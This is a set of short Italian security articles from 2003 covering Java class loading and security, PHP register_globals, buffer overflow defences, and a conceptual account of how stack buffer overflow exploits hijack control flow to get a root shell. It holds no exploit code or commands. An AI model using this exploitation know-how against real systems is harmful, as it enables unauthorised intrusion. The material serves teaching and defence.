Il caricatore di classi di sistema carica le classi dell'applicazione.Localizza le classi nella directory e nei file Jar/Zip nel percorso della classe,come definito nella variabile d'ambiente CLASSPATH o nell'opzione della riga di comando -classpath.Anche questo caricatore di classe e' implementato in Java.
I caricatori di classe hanno una relazione genitore/figilo.Ogni caricatore di classi, ad eccezione del caricatore di classi bootstrap, ha un un caricatore di classi genitore.Un caricatore di classi dovrebbe  dare al suo genitore la possibilita' di caricare qualsiasi classe, e caricarla da se' solo se il genitore non e' riuscito a terminare l'operazione.Per Es., quando al caricatore di classe di sistema e' richiesto di caricare una classe(magari java.event.ActionEvent) , esso ne fa richiesta prima al caricatore di classi per estensioni, il qual einterroga il caricatore di classi bootstrap che trova la classe e la carica in rt.jar, e nessuna caricatore di classi continua la sua ricerca.  
Le applet, le servlet e gli stub RMI vengono caricati con caricatori di classe personalizzati. E' anche possibile scrivere un proprio caricatore di classi ad hoc per scopi specializzati.Questo permette di portare a termine controlli di sicurezza specifici prima di passare il bytecode alla virtual machine.

Sicurezza in Java
Autore: valentino - Ultimo Aggiornamento: 2003-03-10 21:29:36 - Data di creazione: 2003-03-10 21:29:36
Tipo Infobox: DESCRIPTION - Skill: 2- JUNIOR

Fin dalla sua comparsa, l'entusiasmo suscitato da Java riguardava non tanto dalle qualità intrinseche del linguaggio, quanto la possibilità di distribuire su Internet applet sicure che avrebbero garantito l'esecuzione di codice non dannoso per i computer riceventi. La sicurezza è il punto fondamentale per programmatori e utenti e Java a differenza degli altri linguaggi, dove la questione relativa alla protezione entrano in gioco in un secondo momento, in risposta a situazioni di emergenza, i meccanismi di sicurezza sono parte integrante del linguaggio.
In Java esistono tre meccanismi che contribuiscono alla sicurezza:
- le caratteristiche della progettazione del linguaggio;
- meccanismi di controllo dell'accesso alle risorse locali (file, network, memoria...) da parte dei processi Java;
- la firma del codice, che prevede di utilizzare algoritmi crittografici standard per l'autenticazione del codice Java.

La Java virtual machine analizza il codice alla ricerca di puntatori non validi, limiti di array illegali e così via. Parallelemente altri meccanismi tengono sotto controllo la virtual machine.
Quando vengono caricati nella virtual machine, tutti i file di classe vengono sottoposti a una verifica di integrità. In seguito si analizzerà come realizzare un caricatore di classi per capire il processo e il funzionamento della virtual machine. Per una maggiore sicurezza, sia il meccanismo di caricatore di classi standard sia uno personalizzato lavorano con un gestore della sicurezza che controlla quali azioni il codice possa eseguire. Infine si analizzerà il package java.security, che offre una serie di algoritmi crittografici che consentono la firma del codice e l'autenticazione del codice.

PHP.INI - register_global disattivato
Autore: maxgrante - Ultimo Aggiornamento: 2003-03-07 00:29:40 - Data di creazione: 2003-03-07 00:29:40
Tipo Infobox: TIPS - Skill: 3- INTERMEDIATE

Dalla versione 4.2.0 gli sviluppatori di PHP hanno deciso di rivoluzionare la gestione delle variabili provenienti dall'utente e hanno deciso di impostare nel file di configurazione php.ini la variabile register_global = Off di default non permettendo più  il comodissimo ma insicuro sistema di assegnazione automatica ad una variabile del suo valore passato dall'esterno.

La comodità stava nel fatto che se passavo ad uno script “pippo.php?io=max” avevo direttamente disponibile la variabile $io che assumeva il valore “max”. Questo sistema era decisamente molto comodo e facilitava il compito del programmatore ma creava dei problemi di sicurezza per chè anche se nel php.ini era presente la configurazione variables_order che impostava la priorità con cui dovevano essere gestite le assegnazioni di una variabile da una GET, POST, COOKIE o SESSION c'era l'inconveniente che se un programmatore prevedeva un controllo su una variabile $control e un utente smaliziato passava allo script tramite GET control=qualcosa il controllo del programmatore veniva eluso e di conseguenza si apriva una falla gigantesca nell'applicazione.

Il problema è che tutte o quasi le applicazioni realizzate prima della versione 4.2.0 sono state sviluppate con l'impostazione delle variabili globali impostata ad On e per questa ragione chiunque offra hosting a webmaster esterni sarà costretto a mantenere questa configurazione per non compremettere la funzionalità delle applicazioni presenti sul proprio server web.
Comunque sia d'ora in avanti chi svilupperà software in PHP per mantenere una portabilità ed una longevità nonchè sicurezza intrinseca dovrà cercare di sviluppare considerando che register_global sia uguale ad Off perchè prima o poi gli sviluppatori di PHP forzeranno con una versione nuova gli hoster ad utilizzare la nuova configurazione.

Difese dal Buffer Overflow
Autore: Max_Rispetto - Ultimo Aggiornamento: 2003-03-07 00:21:15 - Data di creazione: 2003-03-07 00:21:15
Tipo Infobox: DESCRIPTION - Skill: 4- ADVANCED

Per difendersi contro vulnerabilità da Buffer Overflow si possono scegliere diverse strade: scrivere codice sicuro, non rendere eseguibile l'area di memoria che contiene le variabili, controllare la dimensione degli array ogni volta che vengono inseriti oppure verificare l'integrità dei puntatori.
Vediamo in dettaglio ogni metodo, con relativi vantaggi e difetti.

Scrivere codice sicuro
E' sicuramente la scelta migliore anche se la più costosa, in quanto bisogna controllare ogni singola parte del codice, procedimento noioso e molto lungo. Esistono dei veri e propri gruppi di persone che controllano pezzi di codice per verificarne la sicurezza. Bisogna fare particolare attenzione a chiamate a funzioni di libreria molto vulnerabili, che non controllano la lunghezza degli argomenti che manipolano.
Per prima cosa bisogna scrivere codice semplice, evitare programmi troppo lunghi e pesanti, dato che sicuramente presenteranno un buco.
Un'altra cosa da guardare è che il programma abbia privilegio necessario solamente per quello che deve fare. A volte il programma richiede privilegi elevati per eseguire operazioni altrimenti non effettuabili: una volta eseguita l'operazione bisogna riportare i privilegi allo stato iniziale, per evitare che l'intruso possa causare troppi danni.
Per ultimo, ma non meno importante, controllare tutti i dati che vengono immessi prima di essere utilizzati.
Per controllare il codice si utilizzano programmi di debug, che immettendo a caso nei buffer utilizzati codice d'attacco servono per individuare eventuali vulnerabilità.

Buffer non eseguibile
Con questo metodo si dovrebbe rendere non eseguibile l'area di memoria utilizzata dalle variabili, in modo da impedire all'attaccante di eseguire il codice inserito. Sui sistemi operativi recenti (sia Windows che Unix) una soluzione del genere è ormai impensabile, dato che per ottimizzare la loro esecuzione deve esserci la possibilità di inserire codice dinamico in memoria.
Tuttavia sono presenti delle patch per Linux e Solaris con cui è possibile rendere lo stack non eseguibile e preservare la compatibilità della maggior parte dei programmi.
La protezione offerta da questo procedimento permette di difendersi dall'inserimento di codice eseguibile nelle variabili automatiche, ma non protegge da altre forme d'attacco.

Controllo della dimensione degli array
Non basta inserire codice per realizzare un buffer overflow, ma è anche necessario modificare il flusso del programma in esecuzione. Controllando la dimensione degli array si previene da questo tipo d'attacco. Se in un array non si può scrivere oltre la sua dimensione non è possibile corrompere i dati adiacenti nello stack: ogni lettura e scrittura in un array è quindi riferita ad uno spazio di memoria pari alla dimensione dell'array stesso.

Controllo dell'integrità dei puntatori
Con questo metodo si controlla se un puntatore è stato sovrascritto prima di essere usato: se un attaccante riuscisse in qualche modo a modificare un puntatore, questo non verrebbe utilizzato.
Tuttavia anche questa è una soluzione parziale al problema, in quanto tutti gli attacchi che non riguardano puntatori andranno a segno.

In conclusione, si possono utilizzare tutti i metodi qui descritti per creare del codice sicuro: limitare i problemi alla radice è molto più facile che trovare soluzioni.

Buffer overflow: teoria ed exploit
Autore: maxgrante - Ultimo Aggiornamento: 2003-06-14 15:21:04 - Data di creazione: 2003-06-14 15:21:04
Tipo Infobox: DESCRIPTION - Skill: 4- ADVANCED

Moltissime persone sanno cosa è un exploit, ma chi si affaccia per la prima volta nel mondo della sicurezza informatica potrebbe non sapere nemmeno di cosa si tratti e per questo iniziamo a porre le basi spiegando prima di tutto cos'è un exploit.

Un exploit non è nient'altro che un programma scritto tipicamente in C (ma anche in altri linguaggi) che permette di sfruttare delle falle (le cosiddette vulnerabilità) di altri programmi per poter eseguire sul sistema del codice dannoso che in condizioni "normali" non dovrebbe essere possibile eseguire.

Gli attacchi di tipo buffer overflow rappresentano la stragrande maggioranza di tutti gli attacchi ai sistemi informatici in quanto le vulnerabilità del buffer overflow sono comuni e quindi relativamente facili da sfruttare.
Le vulnerabilità del buffer overflow sono la principale causa di intrusioni in sistemi informatici anche perché esse offrono all'attaccante la possibilità di eseguire codice dannoso. Il codice introdotto viene eseguito dal sistema con i privilegi del programma bucato e permette all'attaccante di poter controllare altri servizi dell'host vittima che gli interessa controllare.

Buffer e Stack
Il buffer è un blocco contiguo di memoria che risiede nella memoria del PC e che immagazzina dati relativi all'applicazione. In C un buffer viene chiamato array, questi ultimi possono essere dichiarati statici o dinamici: le variabili statiche sono allocate al momento del caricamento sul segmento dati, quelle dinamiche sono allocate al momento del caricamento sullo stack. L'overflow consiste nel riempire un buffer oltre il limite. Per la realizzazione di un exploit di buffer overflow vengono sfruttati gli array dinamici.

Organizzazione della memoria di un processo (Stack)
Per comprendere il funzionamento dei buffer sullo stack bisogna capire il sistema con cui il computer gestisce la memoria di un processo, questi processi sono divisi in tre parti, testo, dati e stack.
La regione testo è fissa e contiene il codice del programma in modalità di sola lettura, e per questa ragione un eventuale tentativo di scrittura provoca una violazione di segmento.
La regione dati contiene i dati inizializzati e non inizializzati, in questa parte vengono immagazzinate le variabili statiche. La dimensione di questa area può essere cambiata con la chiamata di sistema brk().

Cos'è lo Stack
Lo stack è un tipo di dato astratto. Uno stack di oggetti ha la proprietà Last In First Out (LIFO), cioè l'ultimo oggetto inserito è il primo ad essere rimosso. Le due operazioni principali sono push e pop: push aggiunge un elemento in cima allo stack e pop lo rimuove.
I linguaggi di programmazione moderni hanno il costrutto di procedura o funzione. Una chiamata a procedura altera il flusso di controllo come un salto (jump), ma, diversamente da un salto, una volta finito il proprio compito, una funzione ritorna il controllo all'istruzione successiva alla chiamata. Quest'astrazione può essere implementata con il supporto di uno stack.
Lo stack è usato anche per allocare dinamicamente le variabili locali usate nelle funzioni, per passare parametri alle funzioni e per restituire valori dalle stesse.
Uno stack è un blocco di memoria contiguo contenente dei dati. Un registro noto come stack pointer (SP) punta alla cima dello stack. La base dello stack è un indirizzo fisso. La dimensione è variata dinamicamente dal kernel. La CPU implementa le operazioni push e pop.
Lo stack consiste di un insieme di segmenti logici (stack frame) che vengono impilati sullo stack quando viene chiamata una funzione e spilati quando la funzione ritorna. Uno stack frame contiene i parametri della funzione, le sue variabili locali, i dati necessari per ripristinare il precedente stack frame, incluso l'indirizzo dell'istruzione successiva alla chiamata (contenuto nell'instruction pointer o IP). A seconda dell'implementazione, lo stack, cresce verso l'alto o il basso.
Oltre allo stack pointer si ha anche un frame pointer (FP) che punta ad una locazione fissa nel frame, noto anche come base pointer (BP). Le variabili locali possono essere referenziate specificando l'offset dallo stack pointer. Tuttavia, poiché nuovi dati sono impilati e spilati, tale offset cambia. Quindi si usa referenziare le variabili locali e i parametri con un offset da FP.
La prima cosa che fa una procedura quando viene chiamata, è salvare il FP precedente (per poterlo ripristinare al ritorno). Poi copia SP su FP per creare il nuovo FP ed incrementa SP per puntare allo spazio riservato per la successiva variabile locale. Questo codice è il prologo della procedura. Al momento dell'uscita dalla procedura, lo stack deve essere ripulito. Le funzioni delle CPU Intel per fare ciò sono ENTER e LEAVE.

Vulnerabilità di buffer overflow e attacchi
Il motivo di fondo di un attacco di buffer overflow è di prendere il controllo del programma eseguito e nel caso che il software abbia sufficienti privilegi di prendere il controllo dell'host stesso.
E' consuetudine per l'attaccante di scegliere un applicativo che "gira" come root per poter avere direttamente una shell di root sul sistema attaccato, questo è anche uno dei motivi per cui software come sendmail (che gira come root) sono stati tra i più utilizzati per attacchi di buffer overflow.
Fortunamente questo non è sempre possibile in quanto per poter ottenere una shell di root chi attacca il sistema deve preparare il codice da utilizzare, da far eseguire nello spazio d'indirizzamento del programma, permettere all'applicativo di saltare a quella porzione di codice con parametri esatti, caricati nei registri e nella memoria.

Modalità di utilizzo di Codice di Attacco
Per poter far eseguire codice di attacco al sistema ci sono due strade perseguibili:
- Sfruttare il codice esistente
- Inserire codice eseguibile

L'attaccante fornisce in input al programma una stringa che verrà caricata in un buffer, ad esempio in un'applicazione web tramite POST da form di questa stringa o tramite il metodo di GET
La stringa inviata ovviamente non sarà casuale ma conterrà delle istruzioni per la CPU del sistema vittima usando i buffer del software attaccato.

Vantaggi di questo sistema:
- Il buffer può essere localizzato ovunque (Stack, Heap area dati statici)
- Non serve nessun buffer overflow in quanto quantità sufficienti di dati possono essere passati al programma senza oltrepassare il limite del buffer.

Il secondo sistema prevede che il codice sia già adatto ad ottenere ciò che si vuole ed è già presente nello spazio di indirizzamento del software.
A questo punto chi attacca deve solo parametrizzare il codice affinchè il programma esegua la parte di codice desiderata ed atta ad offendere l'host e il software vittima.
Questi sistemi per essere attuati si basano sulla modifica del flusso del programma in modo da consentire il salto al codice d'attacco.
Il metodo per ottenere questo è di sfruttare falle nelle applicazioni dovute al mancato controllo sulla lunghezza nei parametri di input con il risultato di "rompere" il buffer dove l'attaccante potrà sovrascrivere la parte adiacente allo stato del programma con una a propria scelta.

Tecnica tipica di attacco
La tecnica più utilizzata per eseguire un exploit di buffer overflow consiste nell'individuare una variabile automatica soggetta a possibile overflow e invia al programma una stringa molto grande in grado di far tracimare il buffer per poter cambiare il record di attivazione.
Con questo sistema l'iniezione del codice maligno e la corruzione del buffer non avvengono contemporaneamente.
L'attaccante può iniettare il codice in un buffer senza farlo andare in overflow e far tracimare un altro buffer corrompendo il puntatore di quest'ultimo e farlo puntare al codice maligno.
Il buffer che andrà in overflow non deve avere controlli sulla sua dimensione, altrimenti sarà possibile farlo traboccare solo di pochi byte. In questo caso il codice risiederà in un buffer sufficientemente grande e che sarà richiamato dal buffer in overflow.
Se l'attaccante sta cercando di utilizzare codice già presente deve parametrizzare il codice per utilizzarlo ai suoi scopi.

Privacy Policy